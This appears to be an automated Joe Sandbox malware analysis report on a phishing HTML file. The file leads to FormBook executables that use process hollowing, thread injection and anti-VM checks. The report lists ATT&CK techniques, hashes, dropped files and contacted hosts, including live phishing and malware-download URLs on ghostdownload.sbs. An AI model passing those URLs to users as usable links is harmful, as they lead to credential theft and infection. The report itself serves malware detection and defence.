0x17a8b:$sqlite3blob: 68 53 D8 7F 8C
0x17bb3:$sqlite3blob: 68 53 D8 7F 8C

41.2.Doc3038210381 (2).exe.244782c.2.raw.unpack JoeSecurity_AntiVM_3 Yara detected 
AntiVM_3

Joe Security

55.2.Doc3038210381 (4).exe.24c782c.1.raw.unpack JoeSecurity_AntiVM_3 Yara detected 
AntiVM_3

Joe Security

Click to see the 22 entries

Source Rule Description Author Strings
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Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 5 1 2

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 2 2 1

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Masquerading 1 LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Disable or Modify
Tools 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 3 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Virtualization/Sandbox
Evasion 3 1

NTDS System Information
Discovery 1 1 2

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 4

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Process
Injection 5 1 2

LSA
Secrets

Remote System
Discovery

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Deobfuscate/Decode
Files or Information 1

Cached
Domain
Credentials

System Owner/User
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Obfuscated Files or
Information 3

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Software
Packing 2 3

Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer Protocol

Downgrade to
Insecure
Protocols

Behavior Graph
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Behavior Graph

ID: 552899

Sample: Doc3038210381 pdf.html

Startdate: 13/01/2022

Architecture: WINDOWS

Score: 100

ghostdownload.sbs

Malicious sample detected
(through community Yara

rule)

Antivirus detection
for URL or domain

Phishing site detected
(based on favicon image

match)
9 other signatures

chrome.exe

16 471

        started       

192.168.2.1

unknown

unknown

192.168.2.23

unknown

unknown

5 other IPs or domains

f02771c4-2f22-486a-a4c1-04a87278f8d7.tmp, PE32

dropped

e2073800-0377-4e56-9a3b-e68c781ee936.tmp, PE32

dropped

ae5b21db-5534-4929-9ab1-055e16e96744.tmp, PE32

dropped

12 other files (none is malicious)

dropped

Doc3038210381 (2).exe

3

        started       

Doc3038210381 (4).exe

        started       

chrome.exe

22

        started       

35 other processes

Injects a PE file into
a foreign processes

Doc3038210381 (2).exe

        started       

Doc3038210381 (2).exe

        started       

accounts.google.com

142.250.185.109, 443, 49767

GOOGLEUS

United States

googlehosted.l.googleusercontent.com

142.250.186.65, 443, 49796

GOOGLEUS

United States

5 other IPs or domains

C:\Users\user\AppData\Localbehaviorgraphoogle\...\data_3, dBase

dropped

C:\...\Doc3038210381 (4).exe:Zone.Identifier, ASCII

dropped

C:\...\Doc3038210381 (2).exe:Zone.Identifier, ASCII

dropped

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

control.exe

        started       

Tries to detect virtualization
through RDTSC time measurements

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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No Antivirus matches

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\6392_1413462915\_platform_specific\x86_64\pnacl_public_x8
6_64_ld_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6392_1413462915\_platform_specific\x86_64\pnacl_public_x8
6_64_ld_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\6392_1413462915\_platform_specific\x86_64\pnacl_public_x8
6_64_pnacl_llc_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6392_1413462915\_platform_specific\x86_64\pnacl_public_x8
6_64_pnacl_llc_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\6392_1413462915\_platform_specific\x86_64\pnacl_public_x8
6_64_pnacl_sz_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\6392_1413462915\_platform_specific\x86_64\pnacl_public_x8
6_64_pnacl_sz_nexe

0% ReversingLabs

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files
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https://www.metadefender.com/#!/results/file/bzIyMDExMFdtQnhxZTk3a01BemtMYk8tY0o/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDExMHdiVFBFTEVaY1VReDQ0dXp0c3g/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDExMHlkdW9aSFozTlpYUnRSbmtXYV8/regular/analysis


Source Detection Scanner Label Link Download

44.2.Doc3038210381 (2).exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

44.0.Doc3038210381 (2).exe.400000.6.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

44.0.Doc3038210381 (2).exe.400000.8.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

44.0.Doc3038210381 (2).exe.400000.4.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

No Antivirus matches

Source Detection Scanner Label Link

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/ 100% SlashNext Fake Login Page 
type: Phishing & 
Social Engineering

www.jiyu-kobo.co.jp/jp/A 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

https://ghostdownload.sbs/assets/file.exe 0% Avira URL Cloud safe

www.fontbureau.comalsdJ 0% Avira URL Cloud safe

www.founder.com.cn/cnY 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.fontbureau.comessed 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.carterandcone.com 0% URL Reputation safe

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/assets/images/pdf.png 0% Avira URL Cloud safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.jiyu-kobo.co.jp/6 0% URL Reputation safe

www.sandoll.co.krr-tN 0% Avira URL Cloud safe

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/assets/images/outlook-
anim.c9d7cfd2.gif

0% Avira URL Cloud safe

www.fontbureau.comcom 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0 0% URL Reputation safe

www.jiyu-kobo.co.jp/s_tr 0% URL Reputation safe

www.sandoll.co.krI 0% Avira URL Cloud safe

www.sandoll.co.kr 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.fontbureau.com.TTF 0% URL Reputation safe

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/favicon.png 0% Avira URL Cloud safe

www.sandoll.co.kr= 0% Avira URL Cloud safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/X 0% URL Reputation safe

www.jiyu-kobo.co.jp/a-de 0% Avira URL Cloud safe

www.fontbureau.comF 0% URL Reputation safe

www.fontbureau.comcomd 0% URL Reputation safe

www.fontbureau.come.comn 0% Avira URL Cloud safe

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/assets/images/white-
onedrive.02a11105.svg

0% Avira URL Cloud safe

www.fontbureau.comrsivC 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/J 0% URL Reputation safe

www.carterandcone.como 0% URL Reputation safe

www.founder.com.cn/cnto 0% Avira URL Cloud safe

www.fontbureau.comion 0% URL Reputation safe

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/A 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.fontbureau.coma 0% URL Reputation safe

Unpacked PE Files

Domains

URLs
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www.fontbureau.comd 0% URL Reputation safe

en.w 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.founder.com.cn/cn/ 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.fontbureau.comoitu 0% URL Reputation safe

www.jiyu-kobo.co.jp/s 0% URL Reputation safe

www.galapagosdesign.com/6 0% Avira URL Cloud safe

www.fontbureau.comm 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0-e 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/n 0% URL Reputation safe

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/assets/css/main.min.css 0% Avira URL Cloud safe

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/assets/js/main.js 0% Avira URL Cloud safe

www.fonts.com; 0% Avira URL Cloud safe

www.founder.com.cn/cn% 0% URL Reputation safe

www.founder.com.cn/cntuk 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

accounts.google.com 142.250.185.109 true false high

ghostdownload.sbs 172.67.167.234 true false high

clients.l.google.com 142.250.186.78 true false high

googlehosted.l.googleusercontent.com 142.250.186.65 true false high

clients2.googleusercontent.com unknown unknown false high

clients2.google.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://ghostdownload.sbs/assets/file.exe false Avira URL Cloud: safe unknown

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/ true SlashNext: Fake Login Page type: Phishing & 
Social Engineering

unknown

https://ghostdownload.sbs/file-
7564c3328869m00865113607754b653/assets/images/pdf.png

true Avira URL Cloud: safe unknown

https://clients2.googleusercontent.com/crx/blobs/Acy1k0bLIjHsvnKaKN_oRpVaYYvFs25d7GK
YF1WXrT6yizCMksBO0c_ggE0B6tx6HPRHe6q1GOEe3_NcIbSiGG8kXeLMUY0sAKVvC6R89
zvKM13s5VqoAMZSmuUgjQL5vlygJuArQghXXE_qTL7NlQ/extension_8520_615_0_5.crx

false high

https://ghostdownload.sbs/file-
7564c3328869m00865113607754b653/assets/images/outlook-anim.c9d7cfd2.gif

true Avira URL Cloud: safe unknown

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/favicon.png true Avira URL Cloud: safe unknown

https://accounts.google.com/ListAccounts?
gpsia=1&source=ChromiumBrowser&json=standard

false high

https://ghostdownload.sbs/file-
7564c3328869m00865113607754b653/assets/images/white-onedrive.02a11105.svg

true Avira URL Cloud: safe unknown

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653 false Avira URL Cloud: safe unknown

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%2
6installedby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26inst
alledby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://ghostdownload.sbs/file-
7564c3328869m00865113607754b653/assets/css/main.min.css

true Avira URL Cloud: safe unknown

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/ true SlashNext: Fake Login Page type: Phishing & 
Social Engineering

unknown

https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/assets/js/main.js true Avira URL Cloud: safe unknown

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs
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General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 552899

Start date: 13.01.2022

Start time: 22:04:21

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 16m 39s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Doc3038210381 pdf.html

Cookbook file name: defaultwindowshtmlcookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

66

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.phis.troj.evad.winHTML@131/299@5/12

EGA Information: Successful, ratio: 80%

HDC Information: Successful, ratio: 17.4% (good quality ratio 15.9%)
Quality average: 69.2%
Quality standard deviation: 31.9%

HCA Information: Successful, ratio: 95%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .html

Warnings:

IP Domain Country Flag ASN ASN Name Malicious

142.250.185.109 accounts.google.com United States 15169 GOOGLEUS false

142.250.186.78 clients.l.google.com United States 15169 GOOGLEUS false

172.67.167.234 ghostdownload.sbs United States 13335 CLOUDFLARENETUS false

239.255.255.250 unknown Reserved unknown unknown false

142.250.186.65 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

IP

192.168.2.1

192.168.2.7

192.168.2.3

192.168.2.6

192.168.2.5

192.168.2.23

127.0.0.1

Public

Private

Show All
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Time Type Description

22:06:59 API Interceptor 1x Sleep call for process: Doc3038210381 (2).exe modified

22:07:37 API Interceptor 1x Sleep call for process: Doc3038210381 (4).exe modified

No context

No context

No context

No context

No context

C:\Users\user\AppData\Local\Google\Chrome\User Data\01e3877e-9634-4f9a-84f2-fb24dcf50145.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 109668

Entropy (8bit): 3.747268976228278

Encrypted: false

SSDEEP: 384:GXF8gIi1Tah+YVNvUrN4rhv0A3LYCzHWxnGAHird9snVYBxi7WOz6AWKe9r5cmto:fa+xZINQv8eH2oigNkyUKMK+YYCY

MD5: B3C6F8795F79D811D0202355E9407768

SHA1: D6F86B0DA397603C80544198A497C204CB3A0FBA

SHA-256: 8C82E01883BAE6302601B0C942901C280A7BAF5E057BFE8A66E0A6672E3023AE

SHA-512: 8337D18E95DF1A41DBD4E11F5416F625791339166AA4D7C784106334CF423F4F7AF2F0A27EBE43EB66F079C996AB424C98357794D33DBDCB29F7FC98E6B5483B

Malicious: false

Reputation: unknown

Preview:
`...............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....P8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\057e6fa4-a52b-4eee-a7d3-69b2ec10c57c.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 193551

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files
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Entropy (8bit): 6.045483328207455

Encrypted: false

SSDEEP: 3072:uvYef5nSzKWSlyU1ofmG81QcrXlLGF4chBrHWU4lFfSbFcbXafIB0u1GOJmA3iuy:5hzKWygeGkVGFHhk9FfyaqfIlUOoSiuy

MD5: D3708AF0674E7A0969B49631183DD666

SHA1: 5C6457CB17AF6ED5F8FA16A3A67D786D89A2E704

SHA-256: 007A02AF4EE24A5F6F1E24A88A2E87E7E5EE6A0718430FFAD9B8102B48A5D872

SHA-512: 0BD426DCB423FAB9262802AEDE2A91D70A1B250C0ECFB8C4316C381345283D61188E47F51130336ADF9341CAFD7BBFB0B58B28A4B137044F8549BAE6D7774077

Malicious: false

Reputation: unknown

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.642107917630884e+12,"network":1.642107919e+12,"ticks":311042665.0,"uncertainty":3996127.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715627278"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\057e6fa4-a52b-4eee-a7d3-69b2ec10c57c.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\23207937-079b-4a93-95c1-e29f348c48d8.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 193919

Entropy (8bit): 6.046346819520631

Encrypted: false

SSDEEP: 3072:yvYef5nSzKWSlyU1ofmG81QcrXlLGF4chBrHWU4lFfSbFcbXafIB0u1GOJmA3iuy:thzKWygeGkVGFHhk9FfyaqfIlUOoSiuy

MD5: 54D70DB5D2F3ED9FF5D3979D9A8F30C5

SHA1: C5319DCE1EA35E3B79162ABDA10CB62EEDFBAF68

SHA-256: E57878592BE62C4FC3683F3D4A4DD9E96899F54861D10BE565CE9FC1881DF247

SHA-512: 3ADF364E28A3B545644D340BEDBDB4350AFF6C605CA93B167DAE42EE3A87F5BA34B511C09EA0125855105B9754DBF8DB43FF2EA8D7FF491A43BCE89E87B791
32

Malicious: false

Reputation: unknown

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.642107917630884e+12,"network":1.642107919e+12,"ticks":311042665.0,"uncertainty":3996127.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715627278"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\3d0f7a2b-ba18-4995-b188-723dc6aae5c9.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 113048

Entropy (8bit): 3.747221280156328

Encrypted: false

SSDEEP: 384:KXF8gIi1TNXjh+YVNvUrN4rhv0A3LYCzHWxnGAHird9snVYBxi7LWOz6AWKe9r5+:8Za+xZIxQv8eHcoigNkyUKMKmYYCg

MD5: FD2E48EC1859CBA307262A87F50FF28C

SHA1: 1B7B04E4A39B017426D9223F4D6E5BB7672C3BD4

SHA-256: 1E9314B3C783A28F837D1523A1BB99A219349A2DD2BAE0C5177273F4CD89C8EB

SHA-512: 40B695F459EEF219B74B3C15E4CDFAE023E8407BF05B9135F67AE05AE47B7DFD0DB27C71F252E1BAE7A8E2FC83F7835B876F7A8BD109A92A490D7988C536A7D
2

Malicious: false

Reputation: unknown

Preview:
................*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\....
...g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*
...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....P8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. 
.F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\......
.m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o
.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\3f0f0cb1-980d-42bb-8881-d417580e0eef.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 202018

Entropy (8bit): 6.07408768737562
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Encrypted: false

SSDEEP: 6144:9XhzKWygeGkVGFHhk9FfyaqfIlUOoSiuRs:9RHygeGQGFH4fBoT

MD5: 4CA628292F4449E35618C66DE7B2CECA

SHA1: 0FFC9B345CBC2725BD23FFCABBECDB66F43CFA0B

SHA-256: C026C2C7C5C6454C184F1D7E370FD64C5D2439AF01510F69BA7650348CB2B924

SHA-512: 72CA2F6689339C2B720147AACC6323972DAD92AD39002221293D74088CA22875EAEF98F6DB36A181CBE8C18B4D6A63CB2D111366B5E8746820958EA9B32E7986

Malicious: false

Reputation: unknown

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.642107917630884e+12,"network":1.642107919e+12,"ticks":311042665.0,"uncertainty":3996127.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
gUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},"password_
manager":{"os_password_blank":true,"os_password_last_changed":"13245922715401452"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\3f0f0cb1-980d-42bb-8881-d417580e0eef.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\409758f6-43de-43ac-9dde-b437aadf989d.tmp
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 193645

Entropy (8bit): 6.0457440840065875

Encrypted: false

SSDEEP: 3072:YvYef5nSzKWSlyU1ofmG81QcrXlLGF4chBrHWU4lFfSbFcbXafIB0u1GOJmA3iuy:3hzKWygeGkVGFHhk9FfyaqfIlUOoSiuy

MD5: C547ACE7F4BAA5D2A1EF953301640AC8

SHA1: 62EA5BD96E3E1225C9AC861F785024ECEAA90C0A

SHA-256: C6BB6B9E9AF3B487B09FB9ED8172F17D5099421927BCEBA6B68DC16EFF582212

SHA-512: C9A6F8F125EBF84CF9716F0FF56FC14161CF7E7905EBF0D2EAC3DDA0D582948F5E04BD9194F2E37633FCAEC4414F158C209814B2944752F56B24DF790DCCE41E

Malicious: false

Reputation: unknown

Preview:
{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},"network_t
ime":{"network_time_mapping":{"local":1.642107917630884e+12,"network":1.642107919e+12,"ticks":311042665.0,"uncertainty":3996127.0}},"os_crypt":{"encrypted_key":
"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiL
GeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwR
